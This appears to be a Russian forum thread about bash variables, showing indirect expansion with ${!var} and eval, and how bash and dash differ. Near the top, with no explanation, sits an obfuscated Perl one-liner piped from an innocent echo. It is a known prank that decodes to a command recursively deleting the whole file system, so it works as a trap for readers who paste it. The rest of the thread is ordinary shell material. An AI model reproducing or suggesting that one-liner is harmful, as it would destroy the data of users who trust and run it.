переменные в bash

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' 

[ megabaks@desktop ] ~ $ qwe=123
[ megabaks@desktop ] ~ $ asd=$qwe
[ megabaks@desktop ] ~ $ echo $asd
123
[ megabaks@desktop ] ~ $ 

$ qwe=123
$ asd=qwe
$ echo ${!asd}
123

$ qwe=123
$ asd=qwe
$ echo ${!asd}
/bin/sh: Bad substitution
$ echo $((asd)) 
/bin/sh: Illegal number: qwe
$ eval echo \$$asd 
123

qwe=123
asd=$qwe
echo $asd

$ qwe=123; asd=qwe; echo ${!asd}
123
$ dash -c 'qwe=123; asd=qwe; echo ${!asd}'
dash: Bad substitution